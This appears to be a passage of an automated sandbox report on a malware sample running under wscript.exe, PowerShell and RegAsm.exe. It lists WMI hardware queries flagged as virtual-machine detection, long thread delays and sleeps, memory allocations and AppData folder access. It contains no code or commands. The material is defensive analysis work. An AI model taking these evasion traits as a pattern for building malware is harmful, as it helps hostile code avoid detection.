Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_DiskDrive

Queries sensitive physical memory information (via WMI, Win32_PhysicalMemory, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_PhysicalMemory
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_PhysicalMemory

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 1070000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2BA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2AA0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: E80000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 2B80000 memory reserve \| memory write watch
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Memory allocated: 28A0000 memory reserve \| memory write watch

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592562	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592421	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592312	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592203	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592093	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591983	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591874	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591765	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591656	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591544	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591437	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591328	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591218	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591109	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590882	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590748	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589249	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588968	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477

Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe	Window found: window name: WSH-Timer	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Window found: window name: WSH-Timer

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1746	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1433	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4863	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4891	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 4926	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 4757	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 624	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 450
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5018
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 1054
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4596
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 975
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 5373
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Window / User API: threadDelayed 4405

Source: C:\Windows\System32\wscript.exe TID: 7652	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8112	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8176	Thread sleep count: 4863 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8172	Thread sleep count: 4891 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7200	Thread sleep time: -21213755684765971s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7200	Thread sleep time: -592562s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7200	Thread sleep time: -592421s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7200	Thread sleep time: -592312s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7200	Thread sleep time: -592203s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7200	Thread sleep time: -592093s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7200	Thread sleep time: -591983s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7200	Thread sleep time: -591874s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7200	Thread sleep time: -591765s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7200	Thread sleep time: -591656s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7200	Thread sleep time: -591544s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7200	Thread sleep time: -591437s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7200	Thread sleep time: -591328s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7200	Thread sleep time: -591218s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7200	Thread sleep time: -591109s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7200	Thread sleep time: -591000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7200	Thread sleep time: -590882s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7200	Thread sleep time: -590748s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7200	Thread sleep time: -589249s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7200	Thread sleep time: -588968s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7224	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 2516	Thread sleep time: -23980767295822402s >= -30000s	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7648	Thread sleep count: 4926 > 30	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7648	Thread sleep count: 4757 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe TID: 6704	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\wscript.exe TID: 6708	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 8052	Thread sleep count: 624 > 30	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 7296	Thread sleep count: 450 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3896	Thread sleep count: 5018 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 4812	Thread sleep time: -12912720851596678s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2844	Thread sleep count: 1054 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3260	Thread sleep time: -1844674407370954s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 1848	Thread sleep count: 4596 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 368	Thread sleep time: -14757395258967632s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 3152	Thread sleep count: 975 > 30
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2344	Thread sleep time: -922337203685477s >= -30000s
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2300	Thread sleep time: -30000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 3904	Thread sleep count: 39 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep count: 45 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -41505174165846465s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -115000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 4128	Thread sleep count: 5373 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -114672s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -114502s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -112969s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -112809s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -112691s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -112568s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -112430s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -112312s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -112199s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -112078s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 4128	Thread sleep count: 4405 > 30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -111967s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -111859s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -111749s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -111640s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -111529s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -111406s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -111297s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -111172s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -111062s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -110953s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -110844s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -110719s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -110609s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -110500s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -110381s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -110250s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -110140s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -110027s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -109906s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -109795s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -109672s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -109547s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -109437s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -109328s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -109215s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -109094s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -108984s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -108875s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -108765s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -108656s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -108547s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -108437s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -108328s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -108218s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -108109s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -108000s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -107864s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -107734s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -107624s >= -30000s
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe TID: 7176	Thread sleep time: -107515s >= -30000s

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	WMI Queries: IWbemServices::CreateInstanceEnum - root\cimv2 : Win32_Processor

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Last function: Thread delayed
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Last function: Thread delayed

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	File Volume queried: C:\ FullSizeInformation			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592562	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592421	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592312	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592203	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 592093	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591983	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591874	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591765	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591656	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591544	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591437	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591328	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591218	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591109	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 591000	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590882	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 590748	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 589249	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 588968	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 30000	Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 922337203685477
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 115000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 114672
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 114502
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 112969
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 112809
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 112691
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 112568
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 112430
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 112312
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 112199
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 112078
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 111967
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 111859
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 111749
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 111640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 111529
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 111406
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 111297
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 111172
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 111062
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 110953
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 110844
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 110719
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 110609
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 110500
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 110381
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 110250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 110140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 110027
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 109906
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 109795
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 109672
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 109547
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 109437
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 109328
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 109215
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 109094
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 108984
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 108875
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 108765
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 108656
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 108547
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 108437
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 108328
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 108218
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 108109
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 108000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 107864
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 107734
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 107624
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Thread delayed: delay time: 107515

Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Windows\System32\wscript.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows	Jump to behavior
